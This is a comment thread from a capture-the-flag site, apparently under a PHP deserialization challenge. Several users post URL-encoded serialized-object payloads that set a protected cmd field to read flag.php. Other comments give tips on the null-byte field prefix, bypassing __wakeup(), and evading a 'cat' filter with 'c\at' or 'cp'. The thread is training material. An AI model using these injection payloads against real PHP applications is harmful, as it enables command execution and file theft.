评分(6)
解题动态
欧阳凌风 攻破了该题 3天前
17199913044 攻破了该题 5天前
风度空山 攻破了该题 7天前
kingx3 攻破了该题 7天前
式南安 攻破了该题 8天前
Amy 攻破了该题 9天前
zmjjkk..... 攻破了该题 10天前
奥特娘 攻破了该题 10天前
xiaoxiang07 攻破了该题 11天前
一江明月送归舟 攻破了该题 11天前
liwssy 攻破了该题 12天前
cxy..... 攻破了该题 12天前
dsfadfdsf 攻破了该题 13天前
valecalida 攻破了该题 13天前
bchdbcisbvsi 攻破了该题 16天前
eterhrtrte 攻破了该题 17天前
zzz122 攻破了该题 18天前
mimopan 攻破了该题 19天前
风掠 攻破了该题 22天前
评论
灵梦归希 27天前
举报
http://160.202.254.160:12420/?code=O%3A3%3A%22ctf%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A15%3A%22base64%20flag.php%22%3B%7D
咖啡牛 4月前
举报
这个题本身不难，只要会序列化处理和几个魔术方法的原理就可以了，反撇号吗，有意思
kitniu 6月前
举报
1.查看源代码，base64解码；2.打开.bak文件，查看源代码；3.翻译代码，要求传入code参数，反序列化后传入ctf ,username admin cat tac flag.php
harry2025 9月前
举报
http://171.80.2.169:14918?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}
陈亮 10月前
举报
flag{***}
网恋秀牛子被录屏导致自卑 10月前
举报
执行命令时，我用的“cp flag.php flag.txt”绕过，这样的话就复制了文件，然后直接访问flag.txt就行，屏幕输出NULL是因为这个命令没有输出的，但执行了。
admit 1年前
举报
/?code=O:3:%22ctf%22:3:{s:11:%22%00*%00username%22;s:5:%22admin%22;s:6:%22%00*%00cmd%22;s:12:%22tac%20flag.php%22;}
iNMB 1年前
举报
此外必须用 %00（空字符），不能用 %20（空格）。 protected 声明的字段为保护字段，在所声明的类和该类的子类中可见，但在该类的对象实例中不可见。 因此保护字段的字段名在序列化时，字段名前面会加上 \0*\0 的前缀，注意，这里的 \0 表示 ASCII 码为 0 的字符，也就是我们经过 urlencode 后看到的 %00 。
iNMB 1年前
举报
绕过__wakeup()后使用tac等其他输出字符的命令即可
llc123 1年前
举报
c\at flag.php也行